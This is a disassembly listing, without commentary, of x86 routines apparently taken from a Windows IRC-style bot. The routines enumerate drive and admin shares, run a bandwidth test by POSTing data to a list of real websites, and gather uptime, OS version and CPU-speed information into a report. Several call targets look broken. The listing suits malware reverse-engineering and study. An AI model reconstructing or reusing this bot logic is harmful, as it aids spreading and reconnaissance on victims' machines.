loc_41A2CC:				; CODE XREF: sub_41A19E+13j
		push	offset dword_43A1F8


loc_41A2D1:				; CODE XREF: sub_41A19E+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DF:				; CODE XREF: sub_41A19E+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FE
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A2FE:				; CODE XREF: sub_41A19E+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		cmp	dword_4CB74C, ebx
		pop	ecx
		jnz	loc_41A473
		push	edi
		mov	esi, offset off_43A0C0
		mov	edi, 200h


loc_41A322:				; CODE XREF: sub_41A19E+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BC0
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33D
		push	offset dword_43A3C0
		jmp	short loc_41A342
; ---------------------------------------------------------------------------


loc_41A33D:				; CODE XREF: sub_41A19E+196j
		push	offset dword_43A398


loc_41A342:				; CODE XREF: sub_41A19E+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A371
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A371:				; CODE XREF: sub_41A19E+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0D0
		jb	short loc_41A322
		nop
		call	near ptr 2811D43h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45B


loc_41A39C:				; CODE XREF: sub_41A19E+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A450
		cmp	bl, 41h
		jz	loc_41A450
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CB6B4
		cmp	eax, 3
		jnz	short loc_41A450
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BC0
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40E
		push	offset dword_43A3C0
		jmp	short loc_41A413
; ---------------------------------------------------------------------------


loc_41A40E:				; CODE XREF: sub_41A19E+267j
		push	offset dword_43A398


loc_41A413:				; CODE XREF: sub_41A19E+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A443
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A443:				; CODE XREF: sub_41A19E+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_41A450:				; CODE XREF: sub_41A19E+206j
					; sub_41A19E+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39C


loc_41A45B:				; CODE XREF: sub_41A19E+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A368
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A486
; ---------------------------------------------------------------------------


loc_41A473:				; CODE XREF: sub_41A19E+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A100
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A486:				; CODE XREF: sub_41A19E+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A4
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A4A4:				; CODE XREF: sub_41A19E+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B8	proc near		; CODE XREF: sub_41A6AF+CBp
					; sub_41A6AF+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 26907ACh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D2	proc near		; CODE XREF: sub_41A6AF+D4p
					; sub_41A6AF+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AB
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAFA
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AB
		push	50h
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CB6D4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AB
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AB
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_433F14 ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62B
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FB
; ---------------------------------------------------------------------------


loc_41A5F8:				; CODE XREF: sub_41A4D2+157j
		mov	eax, [ebp+arg_0]


loc_41A5FB:				; CODE XREF: sub_41A4D2+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60B
		push	[ebp+var_C]
		jmp	short loc_41A60C
; ---------------------------------------------------------------------------


loc_41A60B:				; CODE XREF: sub_41A4D2+132j
		push	ebx


loc_41A60C:				; CODE XREF: sub_41A4D2+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A692
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F8


loc_41A62B:				; CODE XREF: sub_41A4D2+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_42770C
		fst	[ebp+arg_0]
		fcomp	flt_427708
		fnstsw	ax
		sahf
		jnz	short loc_41A653
		fld1
		fstp	[ebp+arg_0]


loc_41A653:				; CODE XREF: sub_41A4D2+17Aj
		push	[ebp+var_4]
		call	dword_4CB6EC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_427704
		fmul	flt_427700
		call	sub_41C798


loc_41A68D:				; CODE XREF: sub_41A4D2+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A692:				; CODE XREF: sub_41A4D2+149j
		push	[ebp+var_4]
		call	dword_4CB6EC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AB:				; CODE XREF: sub_41A4D2+19j
					; sub_41A4D2+42j ...
		xor	eax, eax
		jmp	short loc_41A68D
sub_41A4D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AF	proc near		; CODE XREF: sub_401ACD+2E62p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B8
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D2
		push	8
		mov	esi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D2
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7B0
		test	eax, eax
		jz	short loc_41A7AC
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B2
; ---------------------------------------------------------------------------


loc_41A7AC:				; CODE XREF: sub_41A6AF+F4j
		mov	ebx, esi
		jmp	short loc_41A7B2
; ---------------------------------------------------------------------------


loc_41A7B0:				; CODE XREF: sub_41A6AF+F0j
		mov	ebx, eax


loc_41A7B2:				; CODE XREF: sub_41A6AF+FBj
					; sub_41A6AF+FFj
		push	0Ch
		call	sub_41A4B8
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D2
		push	0Ch
		mov	edi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7EA
		test	eax, eax
		jz	short loc_41A7E6
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A7E6:				; CODE XREF: sub_41A6AF+12Ej
		mov	esi, edi
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A7EA:				; CODE XREF: sub_41A6AF+12Aj
		mov	esi, eax


loc_41A7EC:				; CODE XREF: sub_41A6AF+135j
					; sub_41A6AF+139j
		push	6
		call	sub_41A4B8
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D2
		push	6
		mov	edi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A824
		test	eax, eax
		jz	short loc_41A820
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A820:				; CODE XREF: sub_41A6AF+168j
		mov	ecx, edi
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A824:				; CODE XREF: sub_41A6AF+164j
		mov	ecx, eax


loc_41A826:				; CODE XREF: sub_41A6AF+16Fj
					; sub_41A6AF+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A833
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A836
; ---------------------------------------------------------------------------


loc_41A833:				; CODE XREF: sub_41A6AF+17Bj
		push	2
		pop	edi


loc_41A836:				; CODE XREF: sub_41A6AF+182j
		test	esi, esi
		jz	short loc_41A83E
		add	eax, esi
		jmp	short loc_41A83F
; ---------------------------------------------------------------------------


loc_41A83E:				; CODE XREF: sub_41A6AF+189j
		dec	edi


loc_41A83F:				; CODE XREF: sub_41A6AF+18Dj
		test	ecx, ecx
		jz	short loc_41A847
		add	eax, ecx
		jmp	short loc_41A848
; ---------------------------------------------------------------------------


loc_41A847:				; CODE XREF: sub_41A6AF+192j
		dec	edi


loc_41A848:				; CODE XREF: sub_41A6AF+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A508
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88C	proc near		; CODE XREF: sub_401ACD+25A1p
					; sub_401ACD+2A11p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 26907ACh
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB920
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F5	proc near		; CODE XREF: sub_416F1B+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26D05B2h
		test	eax, eax
		jz	short loc_41A988
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95E
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A946
		cmp	[ebp+var_84], 1
		jnz	short loc_41A939
		push	1
		pop	esi


loc_41A939:				; CODE XREF: sub_41A8F5+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A988
		push	1
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A946:				; CODE XREF: sub_41A8F5+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A953


loc_41A94F:				; CODE XREF: sub_41A8F5+78j
		push	2
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A953:				; CODE XREF: sub_41A8F5+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A988
		jmp	short loc_41A978
; ---------------------------------------------------------------------------


loc_41A95E:				; CODE XREF: sub_41A8F5+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A988
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94F
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97C


loc_41A978:				; CODE XREF: sub_41A8F5+67j
		push	3
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A97C:				; CODE XREF: sub_41A8F5+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A988
		push	7


loc_41A987:				; CODE XREF: sub_41A8F5+4Fj
					; sub_41A8F5+5Cj ...
		pop	esi


loc_41A988:				; CODE XREF: sub_41A8F5+25j
					; sub_41A8F5+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98D	proc near		; CODE XREF: sub_41AA43+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A995:				; CODE XREF: sub_41A98D+2Fj
					; sub_41A98D+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2670EC6h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A995
		jb	short loc_41A9C4
		cmp	ebx, esi
		ja	short loc_41A995


loc_41A9C4:				; CODE XREF: sub_41A98D+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA37
		jb	short loc_41A9E3
		cmp	esi, 50h
		jnb	short loc_41A9E8


loc_41A9E3:				; CODE XREF: sub_41A98D+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E8:				; CODE XREF: sub_41A98D+54j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41A9F3
		cmp	esi, 47h
		jnb	short loc_41A9F8


loc_41A9F3:				; CODE XREF: sub_41A98D+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F8:				; CODE XREF: sub_41A98D+64j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA03
		cmp	esi, 37h
		jnb	short loc_41AA08


loc_41AA03:				; CODE XREF: sub_41A98D+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA08:				; CODE XREF: sub_41A98D+74j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA13
		cmp	esi, 26h
		jnb	short loc_41AA18


loc_41AA13:				; CODE XREF: sub_41A98D+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA18:				; CODE XREF: sub_41A98D+84j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA23
		cmp	esi, 1Eh
		jnb	short loc_41AA28


loc_41AA23:				; CODE XREF: sub_41A98D+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA28:				; CODE XREF: sub_41A98D+94j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA33
		cmp	esi, 0Ah
		jnb	short loc_41AA37


loc_41AA33:				; CODE XREF: sub_41A98D+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA37:				; CODE XREF: sub_41A98D+4Dj
					; sub_41A98D+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA43	proc near		; CODE XREF: sub_401ACD+276Fp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D808
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26D05B2h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AACA
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA6
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA90
		mov	[ebp+var_4], offset dword_431974


loc_41AA90:				; CODE XREF: sub_41AA43+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB45
		mov	[ebp+var_4], offset dword_431970
		jmp	short loc_41AB16
; ---------------------------------------------------------------------------


loc_41AAA6:				; CODE XREF: sub_41AA43+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB8
		mov	[ebp+var_4], offset dword_43196C
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAB8:				; CODE XREF: sub_41AA43+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB06
		mov	[ebp+var_4], offset dword_431968
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AACA:				; CODE XREF: sub_41AA43+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB06
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE4
		mov	[ebp+var_4], offset dword_431964
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAE4:				; CODE XREF: sub_41AA43+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF6
		mov	[ebp+var_4], offset dword_431960
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAF6:				; CODE XREF: sub_41AA43+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0D


loc_41AB06:				; CODE XREF: sub_41AA43+7Cj
					; sub_41AA43+8Ej
		mov	[ebp+var_4], offset dword_431958


loc_41AB0D:				; CODE XREF: sub_41AA43+73j
					; sub_41AA43+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB45


loc_41AB16:				; CODE XREF: sub_41AA43+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB45
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB45:				; CODE XREF: sub_41AA43+54j
					; sub_41AA43+D1j ...
		mov	ax, word_437F2C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB534
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7E
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41AB7E:				; CODE XREF: sub_41AA43+12Cj
		push	[ebp+arg_4]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, ebx
		jz	short loc_41ABA7
		push	dword ptr [eax]
		jmp	short loc_41ABAC
; ---------------------------------------------------------------------------


loc_41ABA7:				; CODE XREF: sub_41AA43+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAC:				; CODE XREF: sub_41AA43+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 26709DBh
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A7FC
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2730000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 2721357h
		nop
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2820000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A33
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88C
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98D
		push	edx
		push	eax
		push	offset dword_43A720
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF7	proc near		; CODE XREF: sub_401ACD+279Dp
